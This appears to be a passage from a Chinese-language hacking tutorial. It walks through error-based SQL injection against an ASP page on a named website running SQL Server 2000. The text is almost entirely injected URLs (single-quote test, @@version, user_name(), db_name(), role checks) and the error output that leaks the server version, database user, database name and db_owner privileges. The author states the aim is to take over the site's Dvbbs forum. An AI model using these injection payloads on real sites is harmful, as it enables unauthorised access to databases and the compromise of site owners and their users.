一、 首先确定目标
假设以下URL存在SQL注入:
http://www.loveyou.com/type.asp?id=6 测试能否注入可以在6后面加个单引号。
http://www.loveyou.com/type.aspid=6' 返回错误提示:
Microsoft OLE DB Provider for ODBC Drivers 错误 '80040e14'
[Microsoft][ODBC SQL Server Driver][SQL Server]字符串 '' 之前有未闭合的引号。
继续,先探测一下系统版本:
http://www.loveyou.com/type.asp?id=(select @@version)--
返回:
Microsoft OLE DB Provider for ODBC Drivers 错误 '80040e07'
[Microsoft][ODBC SQL Server Driver]
[SQL Server]将 nvarchar 值 'Microsoft SQL Server
2000 - 8.00.760 (Intel X86) Dec 17 2002
14:22:05 Copyright (c) 1988-2003 Microsoft Corporation
Standard Edition on Windows NT 5.0 (Build 2195: Service Pack 4) ' 转换为数据类型为 int 的列时发生语法错误。
看来已经打上最新的SP4补丁。
取得当前连接数据库用户:
http://www.loveyou.com/type.asp?id=(select user_name())--
返回:
Microsoft OLE DB Provider for ODBC Drivers 错误 '80040e07'
[Microsoft][ODBC SQL Server Driver]
[SQL Server]将 nvarchar 值 'webuser' 转换为数据类型为 int 的列时发生语法错误。
从错误信息中得到当前数据库用户为:webuser
取得当前连接数据库名:
http://www.loveyou.com/type.asp?id=(select db_name())--
返回:
Microsoft OLE DB Provider for ODBC Drivers 错误 '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]将 nvarchar 值 '01city' 转换为数据类型为 int 的列时发生语法错误。
从错误信息中得到当前数据库名为: 01city
接下来测试下权限:(注:因为我们的目的是搞定动网而不是侵占系统。所以数据库权限对我们不是很重要。)
http://www.loveyou.com/type.asp?id=
(SELECT IS_SRVROLEMEMBER('sysadmin'))--
返回错误信息。提示当前记录已删除。看来权限果然不是很高耶。继续,
http://www.loveyou.com/type.asp?id=
(SELECT%20IS_MEMBER('db_owner'))--
正常显示信息,看来连接数据库拥有的权限是DB_OWNER(DOWN数据库所有者。但对操纵数据是绰绰有余了。